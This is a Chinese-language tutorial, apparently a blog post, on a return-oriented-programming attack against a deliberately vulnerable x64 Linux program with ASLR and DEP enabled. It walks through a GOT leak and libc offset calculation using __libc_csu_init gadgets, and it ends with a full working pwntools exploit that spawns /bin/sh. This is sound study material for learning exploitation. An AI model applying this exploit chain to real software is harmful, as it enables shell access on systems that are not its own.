除錯環境是ubuntu16 64位 這次開啟了DEP、ASLR（知道libc.so情況下） 還是參考了《一步一步學ROP之linux_x64篇》這篇文章。 程式碼是1.c：

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
    char buf[128];
    read(STDIN_FILENO, buf, 256);
}

int main(int argc, char** argv) {
    vulnerable_function();
    write(STDOUT_FILENO, "Hello, World\n", 13);
}

gcc -fno-stack-protector -o 1 1.c 開啟ASLR：

sudo -s 
echo 2 > /proc/sys/kernel/randomize_va_space
exit
 

首先獲取幾個變數： main函式地址：

[email protected]:~/test$ objdump -d 1 | grep main
  400410:	e8 4b 00 00 00       	callq  400460 <[email protected]+0x10>
0000000000400450 <[email protected]>:
  400494:	e8 b7 ff ff ff       	callq  400450 <[email protected]>
0000000000400587 <main>:
[email protected]:~/test$ 

可以看到main函式地址是0x400587。 .bss段的首地址：

 
[email protected]:~/test$ readelf -S 1 | grep bss
  [26] .bss              NOBITS           0000000000601040  00001040
[email protected]:~/test$ 

可以看到.bss段的首地址是0x601040 介紹一下linux64位的函式傳參方式，是通過rdi rsi rdx rcx r8 r9依次入棧的 （Windows64位是rcx rdx r8 r9依次入棧的）。所以如果需要呼叫函式，就需要控制rdi rsi等暫存器，而不僅僅是控制棧了。 這就需要尋找相關程式碼了，在libc.so中有現成的。 使用命令objdump -D 1檢視檔案1中的彙編程式碼。 直接檢視兩處關鍵程式碼： 1.

  400616:	48 83 c4 08          	add    $0x8,%rsp
  40061a:	5b                   	pop    %rbx
  40061b:	5d                   	pop    %rbp
  40061c:	41 5c                	pop    %r12
  40061e:	41 5d                	pop    %r13
  400620:	41 5e                	pop    %r14
  400622:	41 5f                	pop    %r15
  400624:	c3                   	retq   
 

2. （此處跟一步一步學ROP之linux_x64篇中的略有不同）

   400600:	4c 89 ea             	mov    %r13,%rdx
  400603:	4c 89 f6             	mov    %r14,%rsi
  400606:	44 89 ff             	mov    %r15d,%edi
  400609:	41 ff 14 dc          	callq  *(%r12,%rbx,8)
  40060d:	48 83 c3 01          	add    $0x1,%rbx
  400611:	48 39 eb             	cmp    %rbp,%rbx
  400614:	75 ea                	jne    400600 <__libc_csu_init+0x40>

先分析第一處，咱慢慢分析
如圖所示，就是講棧上的資料放到指定暫存器中。 在看第二處，如果此時rbx=0，r12可以控制 就可以調到任意地址執行程式碼。後邊有個判斷如果rbp等於rbx，那麼就會繼續執行第一次的程式碼。 通過以上的介紹，可以看到通過精心的佈置棧中的資料，便可以控制rbx,rbp,r12-r15暫存器，通過第二處的轉化，即可以控制rdx、rsi、edi暫存器，最後跳轉到r12暫存器處，執行程式碼。 我們先構造payload1，利用write()輸出write在記憶體中的地址。注意我們的gadget是call qword ptr [r12+rbx*8]，所以我們應該使用write.got的地址而不是write.plt的地址。並且為了返回到原程式中，重複利用buffer overflow的漏洞，我們需要繼續覆蓋棧上的資料，直到把返回值覆蓋成目標函式的main函式為止。

#rdi=  edi = r13,  rsi = r14, rdx = r15 
#write(rdi=1, rsi=write.got, rdx=4)
payload1 =  "\x00"*136
payload1 += p64(0x400616) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload1 += p64(0x400600) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload1 += "\x00"*56
payload1 += p64(main)

按照我剛才介紹的，此時棧中的資料如下：
可以看到經過這樣處理之後，r15=8,r14=got_write,r13=1,r12=got_write,rbp=1,rbx=0, 在經過第二處程式碼處理，rdx=1,rsi=got_write,edi=8,call [r12+rbx*8]=call[got_write],此時就可以將write的函式地址打印出來了。（函式引數通過rdi rsi rdx傳遞了） 然後rbx加1，與rbp=1比較，正好相等，跳轉沒有實現，繼續往下執行，由於下邊全是0，最後跳轉到函式main處繼續執行。 payload1分析完成。 通過偏移就可以計算出system函式的地址了。 繼續分析payload2，利用read()將system()的地址以及“/bin/sh”讀入到.bss段記憶體中。

#rdi=  edi = r13,  rsi = r14, rdx = r15 
#read(rdi=0, rsi=bss_addr, rdx=16)
payload2 =  "\x00"*136
payload2 += p64(0x400616) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(16) + p64(bss_addr) + p64(0) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload2 += p64(0x400600) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload2 += "\x00"*56
payload2 += p64(main)



print "\n#############sending payload2#############\n"
p.send(payload2)
sleep(1)

p.send(p64(system_addr))
p.send("/bin/sh\0")
sleep(1)

跟上邊差不多就不分析了。 payload3：

#rdi=  edi = r13,  rsi = r14, rdx = r15 
#system(rdi = bss_addr+8 = "/bin/sh")
payload3 =  "\x00"*136
payload3 += p64(0x400616) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(0) + p64(0) + p64(bss_addr+8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload3 += p64(0x400600) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload3 += "\x00"*56
payload3 += p64(main)

print "\n#############sending payload3#############\n"

sleep(1)
p.send(payload3)

即執行system("/bin/sh").system()的地址儲存在了.bss段首地址上，“/bin/sh”的地址儲存在了.bss段首地址+8位元組上。 最終exp:

#!/usr/bin/env python
from pwn import *

elf = ELF('1')
libc = ELF('libc.so')

p = process('./1')
#p = remote('127.0.0.1',10001)

got_write = elf.got['write']
print "got_write: " + hex(got_write)
got_read = elf.got['read']
print "got_read: " + hex(got_read)

main = 0x400587

off_system_addr = libc.symbols['write'] - libc.symbols['system']
print "off_system_addr: " + hex(off_system_addr)

#rdi=  edi = r13,  rsi = r14, rdx = r15 
#write(rdi=1, rsi=write.got, rdx=4)
payload1 =  "\x41"*136
payload1 += p64(0x400616) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(8) + p64(got_write)+p64(1)# pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload1 += p64(0x400600) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload1 += "\x00"*56
payload1 += p64(main)

p.recvuntil("Hello, World\n")
print "\n#############sending payload1#############\n"
p.send(payload1)
sleep(1)

write_addr = u64(p.recv(8))
print "write_addr: " + hex(write_addr)

system_addr = write_addr - off_system_addr
print "system_addr: " + hex(system_addr)

bss_addr=0x601040

p.recvuntil("Hello, World\n")

#rdi=  edi = r13,  rsi = r14, rdx = r15 
#read(rdi=0, rsi=bss_addr, rdx=16)
payload2 =  "\x00"*136
payload2 += p64(0x400616) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(16) + p64(bss_addr) + p64(0) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload2 += p64(0x400600) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload2 += "\x00"*56
payload2 += p64(main)

print "\n#############sending payload2#############\n"
p.send(payload2)
sleep(1)

p.send(p64(system_addr))
p.send("/bin/sh\0")
sleep(1)

p.recvuntil("Hello, World\n")

#rdi=  edi = r13,  rsi = r14, rdx = r15 
#system(rdi = bss_addr+8 = "/bin/sh")
payload3 =  "\x00"*136
payload3 += p64(0x400616) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(0) + p64(0) + p64(bss_addr+8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload3 += p64(0x400600) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload3 += "\x00"*56
payload3 += p64(main)

print "\n#############sending payload3#############\n"

sleep(1)
p.send(payload3)

p.interactive()

這段最終的exp跟參考文章的還是不一樣的，主要是第二段程式碼不一樣造成的，所以也進行了相應修改。 效果展示：
祝好！！！